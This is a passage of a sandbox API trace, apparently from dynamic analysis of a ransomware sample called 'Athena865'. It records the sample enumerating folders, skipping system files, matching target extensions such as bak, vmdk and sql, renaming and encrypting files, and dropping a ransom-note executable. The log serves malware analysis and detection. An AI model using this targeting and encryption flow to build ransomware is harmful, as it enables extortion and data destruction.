lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0060.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0060.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0060.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0060.088] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0060.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0060.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.088] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0060.088] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0060.096] CloseHandle (hObject=0x17c) returned 1 [0060.096] CloseHandle (hObject=0x154) returned 1 [0060.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0060.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0060.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0060.100] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0060.100] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0060.100] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0060.100] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2=".") returned 1 [0060.100] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="..") returned 1 [0060.100] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="windows") returned -1 [0060.100] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="bootmgr") returned -1 [0060.100] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="temp") returned -1 [0060.100] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="pagefile.sys") returned -1 [0060.100] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="boot") returned -1 [0060.100] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="ids.txt") returned -1 [0060.100] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="ntuser.dat") returned -1 [0060.101] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="perflogs") returned -1 [0060.101] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2="MSBuild") returned -1 [0060.101] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0060.101] lstrcpyW (in: lpString1=0x241e8c6, lpString2="AccessMUISet.xml" | out: lpString1="AccessMUISet.xml") returned="AccessMUISet.xml" [0060.101] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0060.101] lstrlenW (lpString="Athena865") returned 9 [0060.101] lstrcmpiW (lpString1="UISet.xml", lpString2="Athena865") returned 1 [0060.101] lstrlenW (lpString=".dll") returned 4 [0060.101] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2=".dll") returned 1 [0060.101] lstrlenW (lpString=".lnk") returned 4 [0060.101] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2=".lnk") returned 1 [0060.101] lstrlenW (lpString=".ini") returned 4 [0060.101] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2=".ini") returned 1 [0060.101] lstrlenW (lpString=".sys") returned 4 [0060.101] lstrcmpiW (lpString1="AccessMUISet.xml", lpString2=".sys") returned 1 [0060.101] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0060.101] lstrlenW (lpString="bak") returned 3 [0060.101] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0060.101] lstrlenW (lpString="ba_") returned 3 [0060.101] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0060.101] lstrlenW (lpString="dbb") returned 3 [0060.101] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0060.101] lstrlenW (lpString="vmdk") returned 4 [0060.101] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0060.101] lstrlenW (lpString="rar") returned 3 [0060.101] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0060.101] lstrlenW (lpString="zip") returned 3 [0060.101] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0060.101] lstrlenW (lpString="tgz") returned 3 [0060.101] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0060.101] lstrlenW (lpString="vbox") returned 4 [0060.101] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0060.102] lstrlenW (lpString="vdi") returned 3 [0060.102] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0060.102] lstrlenW (lpString="vhd") returned 3 [0060.102] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0060.102] lstrlenW (lpString="vhdx") returned 4 [0060.102] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0060.102] lstrlenW (lpString="avhd") returned 4 [0060.102] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0060.102] lstrlenW (lpString="db") returned 2 [0060.102] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0060.102] lstrlenW (lpString="db2") returned 3 [0060.102] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0060.102] lstrlenW (lpString="db3") returned 3 [0060.102] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0060.102] lstrlenW (lpString="dbf") returned 3 [0060.102] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0060.102] lstrlenW (lpString="mdf") returned 3 [0060.102] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0060.102] lstrlenW (lpString="mdb") returned 3 [0060.102] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0060.102] lstrlenW (lpString="sql") returned 3 [0060.102] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0060.102] lstrlenW (lpString="sqlite") returned 6 [0060.102] lstrcmpiW (lpString1="et.xml", lpString2="sqlite") returned -1 [0060.102] lstrlenW (lpString="sqlite3") returned 7 [0060.102] lstrcmpiW (lpString1="Set.xml", lpString2="sqlite3") returned -1 [0060.102] lstrlenW (lpString="sqlitedb") returned 8 [0060.102] lstrcmpiW (lpString1="ISet.xml", lpString2="sqlitedb") returned -1 [0060.102] lstrlenW (lpString="xml") returned 3 [0060.102] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0060.102] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.Athena865") returned 89 [0060.103] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.athena865"), dwFlags=0x1) returned 1 [0060.103] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0060.103] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=819) returned 1 [0060.103] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0060.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0060.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0060.104] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0060.104] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0060.105] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0060.105] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x640, lpName=0x0) returned 0x17c [0060.106] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x640) returned 0x100000 [0060.107] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0060.108] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0060.108] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0060.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0060.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0060.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0060.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0060.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0060.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0060.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0060.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0060.113] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0060.114] CloseHandle (hObject=0x17c) returned 1 [0060.114] CloseHandle (hObject=0x154) returned 1 [0060.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0060.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0060.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0060.114] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd3b8d80, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd3b8d80, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0060.114] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0060.114] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0060.114] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0060.114] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0060.114] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0060.114] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0060.114] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0060.114] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0060.114] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0060.114] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0060.114] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0060.114] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0060.114] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0060.114] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0060.114] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0060.114] lstrlenW (lpString="Setup.xml") returned 9 [0060.115] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0060.115] lstrlenW (lpString="Setup.xml") returned 9 [0060.115] lstrlenW (lpString="Athena865") returned 9 [0060.115] lstrlenW (lpString=".dll") returned 4 [0060.115] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0060.115] lstrlenW (lpString=".lnk") returned 4 [0060.115] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0060.115] lstrlenW (lpString=".ini") returned 4 [0060.115] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0060.115] lstrlenW (lpString=".sys") returned 4 [0060.115] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0060.115] lstrlenW (lpString="Setup.xml") returned 9 [0060.115] lstrlenW (lpString="bak") returned 3 [0060.115] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0060.115] lstrlenW (lpString="ba_") returned 3 [0060.115] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0060.115] lstrlenW (lpString="dbb") returned 3 [0060.115] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0060.115] lstrlenW (lpString="vmdk") returned 4 [0060.115] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0060.115] lstrlenW (lpString="rar") returned 3 [0060.115] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0060.115] lstrlenW (lpString="zip") returned 3 [0060.115] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0060.115] lstrlenW (lpString="tgz") returned 3 [0060.115] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0060.115] lstrlenW (lpString="vbox") returned 4 [0060.115] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0060.115] lstrlenW (lpString="vdi") returned 3 [0060.115] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0060.115] lstrlenW (lpString="vhd") returned 3 [0060.115] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0060.116] lstrlenW (lpString="vhdx") returned 4 [0060.116] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0060.116] lstrlenW (lpString="avhd") returned 4 [0060.116] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0060.116] lstrlenW (lpString="db") returned 2 [0060.116] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0060.116] lstrlenW (lpString="db2") returned 3 [0060.116] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0060.116] lstrlenW (lpString="db3") returned 3 [0060.116] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0060.116] lstrlenW (lpString="dbf") returned 3 [0060.116] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0060.116] lstrlenW (lpString="mdf") returned 3 [0060.116] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0060.116] lstrlenW (lpString="mdb") returned 3 [0060.116] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0060.116] lstrlenW (lpString="sql") returned 3 [0060.116] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0060.116] lstrlenW (lpString="sqlite") returned 6 [0060.116] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1 [0060.116] lstrlenW (lpString="sqlite3") returned 7 [0060.116] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1 [0060.116] lstrlenW (lpString="sqlitedb") returned 8 [0060.116] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1 [0060.116] lstrlenW (lpString="xml") returned 3 [0060.116] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0060.116] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0060.116] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0060.117] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0060.117] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2624) returned 1 [0060.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0060.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0060.117] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0060.118] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0060.118] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0060.118] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0060.118] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd40, lpName=0x0) returned 0x17c [0060.121] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd40) returned 0x100000 [0060.121] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0060.122] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0060.122] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0060.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0060.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0060.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0060.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0060.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0060.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0060.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0060.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0060.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0060.123] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0060.123] CloseHandle (hObject=0x17c) returned 1 [0060.123] CloseHandle (hObject=0x154) returned 1 [0060.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0060.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0060.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0060.123] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0060.123] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0060.123] ReleaseMutex (hMutex=0xec) returned 1 [0060.123] CloseHandle (hObject=0xec) returned 1 [0060.124] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" [0060.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0060.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f658 | out: hHeap=0x4f0000) returned 1 [0060.124] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C") returned 62 [0060.124] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F810B84D31E6038526E61EDF3620A121") returned 0xec [0060.124] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0060.124] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C" [0060.124] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0060.124] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0060.124] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0060.124] GetLastError () returned 0x0 [0060.125] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0060.125] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x538d08 [0060.125] ReadFile (in: hFile=0xf4, lpBuffer=0x538d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x538d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0060.125] CloseHandle (hObject=0xf4) returned 1 [0060.126] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d08 | out: hHeap=0x4f0000) returned 1 [0060.126] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0060.126] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd3deee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd3deee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0060.126] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0060.126] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0060.126] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0060.126] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd3deee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd3deee0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.126] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0060.126] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0060.126] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0060.126] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0060.126] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd3deee0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd3deee0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, 